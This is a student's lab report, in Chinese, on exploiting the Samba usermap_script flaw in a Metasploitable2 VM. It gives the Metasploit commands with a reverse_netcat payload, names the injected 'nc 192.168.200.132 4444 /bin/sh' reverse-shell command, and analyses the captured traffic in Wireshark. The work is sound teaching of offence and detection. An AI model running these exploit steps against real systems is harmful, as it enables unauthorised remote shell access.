20252818 2025-2026-2 《网络攻防实践》第七次作业
1.实践内容
(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
(2)实践作业:攻防对抗实践
攻击方:使用Metasploit ,选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
2.实践过程
2.1 实验环境准备
本次实验采用虚拟机环境搭建攻防平台,具体环境信息如下:
- 攻击机:Kali Linux,IP 地址:
192.168.200.132 - 靶机:Metasploitable2 Linux,IP 地址:
192.168.200.130 - 网络环境:两台虚拟机处于同一网段,网络互通正常
实验开始前,通过下面命令验证攻击机与靶机之间的网络连通性:
ping 192.168.200.130
Kali ping通Metasploitable2

通过ping测试可以看到,Kali能够正常访问Metasploitable2,说明两台虚拟机网络连接正常,可以继续进行后续实验。
2.2 Metasploit渗透攻击Samba漏洞
2.2.1 启动Metasploit并加载攻击模块
在 Kali Linux 终端中执行以下命令启动Metasploit控制台:
msfconsole -q
启动成功后,搜索Samba usermap_script漏洞对应的攻击模块:
search usermap_script

搜索结果中可以看到存在模块:
exploit/multi/samba/usermap_script
该模块利用Samba服务中用户名映射脚本的命令注入漏洞,可执行任意系统命令。
使用该模块:
use exploit/multi/samba/usermap_script

2.2.2 配置攻击参数与载荷
首先查看该模块支持的所有载荷:
show payloads

尝试使用反向连接载荷cmd/unix/reverse_netcat,并配置相关参数:
set payload cmd/unix/reverse_netcat
set RHOSTS 192.168.200.130
set LHOST 192.168.200.132

其中RHOSTS是靶机IP,即Metasploitable2的IP是192.168.200.130,LHOST是攻击机IP,即Kali的IP是192.168.200.132
查看所有配置参数确认无误:
show options

执行攻击:
exploit

攻击成功后,控制台显示:
Command shell session 1 opened
说明成功获取靶机的远程Shell。
2.2.3 验证系统权限
在获取的 Shell 中执行以下命令,验证获得的权限级别和系统信息:
whoami
id
ifconfig
ls

执行结果显示,成功获得了靶机的远程控制权限。通过whoami和id可以查看当前用户和权限,通过ifconfig可以确认当前Shell所在主机是Metasploitable2。
2.3 攻防对抗:网络流量捕获与分析
2.3.1 使用tcpdump捕获攻击流量
在执行攻击前,新开一个Kali Linux终端,准备捕获网络流量。直接执行抓包命令:
tcpdump -i eth0 host 192.168.200.130 -w samba_attack.pcap
出现权限不足:
You don't have permission to perform this capture on that device
添加sudo提权后执行抓包命令:
sudo tcpdump -i eth0 host 192.168.200.130 -w samba_attack.pcap

保持抓包终端运行,回到 Metasploit 终端重新执行完整的攻击流程,并在获取Shell后执行命令ifconfig。攻击全部完成后,在抓包终端按下 Ctrl+C 停止抓包,数据包文件 samba_attack.pcap 保存在 Kali 中。


2.3.2 使用Wireshark分析攻击流量
启动Wireshark,打开捕获的samba_attack.pcap文件。

在顶部过滤栏输入以下过滤语句,只显示攻击机与靶机之间的流量:
ip.addr == 192.168.200.132 && ip.addr == 192.168.200.130

从过滤后的流量中可以看到:
- 源 IP 地址:
192.168.200.132,即Kali攻击机 - 目的 IP 地址:
192.168.200.130,即Metasploitable2靶机 - 目标端口:
139,即Samba服务默认端口 - 主要协议:TCP、SMB协议
在数据包列表中找到包含SMB协议的核心攻击数据包,也就是第13条,右键点击选择:
Follow → TCP Stream


攻击执行的命令是第20条,右键点击选择:
Follow → TCP Stream


可以看到,攻击方执行的命令是ipconfig。
关于攻击事件,对wireshark进行如下设置:

可以查看到具体攻击时间

通过分析TCP流数据,可以还原攻击过程:
- 攻击机
192.168.200.132与靶机192.168.200.130的139端口建立 TCP 三次握手; - 攻击机发送SMB协议请求,在
Session Setup AndX Request的User字段中注入恶意命令; - 靶机执行注入命令,通过
nc 192.168.200.132 4444主动反连Kali攻击机; - Kali的
4444端口接收到靶机反连后,建立反向Shell会话。
2.4 攻击过程分析
结合 Metasploit 执行结果和 Wireshark 抓包结果,可以还原本次攻击过程。
首先,Kali 攻击机通过msfconsole -q启动Metasploit,并搜索usermap_script漏洞模块。之后使用exploit/multi/samba/usermap_script模块,针对Metasploitable2靶机的Samba服务进行漏洞利用。
其次,攻击机192.168.200.132与靶机192.168.200.130的139端口建立 TCP 连接,并通过SMB协议发送Session Setup AndX Request请求。在该请求的 User 字段中可以看到 nohup、mkfifo、nc 192.168.200.132 4444、/bin/sh 等内容,说明攻击者将反向Shell命令注入到了Samba用户名字段中。
随后,靶机执行注入命令,并主动连接Kali攻击机的4444端口,从而建立反向Shell会话。最后,在获取Shell后,通过执行whoami、id、ifconfig、ls等命令,验证攻击者已经能够在靶机上执行系统命令。
本次攻击的关键信息如下:
| 项目 | 内容 |
|---|---|
| 攻击机 | Kali Linux |
| 攻击机IP | 192.168.200.132 |
| 靶机 | Metasploitable2 Linux |
| 靶机IP | 192.168.200.130 |
| 攻击工具 | Metasploit |
| 攻击模块 | exploit/multi/samba/usermap_script |
| Shellcode/Payload | cmd/unix/reverse_netcat |
| 攻击时间 | cmd/unix/reverse_netcat |
| 目标服务 | Samba |
| 目标端口 | 139 |
| 反连端口 | 4444 |
| 抓包工具 | tcpdump |
| 分析工具 | Wireshark |
| 抓包文件 | samba_attack.pcap |
3.学习中遇到的问题及解决
问题1:启动Metasploit时出现WARNING: No database support: No database YAML file,一开始不确定是否会影响实验。
问题1解决方案:结合后续实验发现,该提示只是说明Metasploit当前没有启用数据库支持,不影响漏洞模块搜索、参数配置和漏洞利用。因此继续使用search usermap_script搜索模块,并成功加载exploit/multi/samba/usermap_script。
问题2:直接运行tcpdump命令时,提示网卡抓包权限不足,无法进行数据包捕获。
问题2解决方案:tcpdump需要root权限才能访问网络接口进行抓包操作,因此在命令前添加sudo进行提权,之后可以正常执行抓包并保存数据包文件。
4.实践总结
通过本次实践,我掌握了Metasploit渗透测试框架的基本使用流程,包括启动 Metasploit、搜索漏洞模块、加载攻击模块、配置 payload、设置 RHOSTS 和 LHOST、执行 exploit 以及验证 Shell 权限。
本次实验中比较关键的一点是,我不仅在Metasploit中看到了Command shell session 1 opened,还通过Wireshark抓包进一步验证了攻击过程。在第15条SMB数据包中,Session Setup AndX Request的User字段里出现了nohup、mkfifo、nc 192.168.200.132 4444和/bin/sh等命令,说明攻击者将反向Shell命令注入到了Samba用户名字段中。
在攻防对抗部分,我学习了如何使用tcpdump捕获攻击流量,并使用Wireshark对pcap文件进行分析。通过IP过滤和TCP流追踪,可以看到 Kali 先访问靶机的 139 端口发送 SMB 请求,随后靶机主动连接Kali的4444端口建立反向Shell。这个过程说明漏洞利用并不只是命令行中的一次exploit,而是在网络中表现为一系列可以被捕获和分析的数据包。
总体来说,本次实验让我对Samba usermap_script漏洞利用、Metasploit攻击流程、tcpdump抓包和Wireshark流量分析有了更加直观的认识,也提高了我从攻击方和防守方两个角度理解网络攻防过程的能力。

浙公网安备 33010602011771号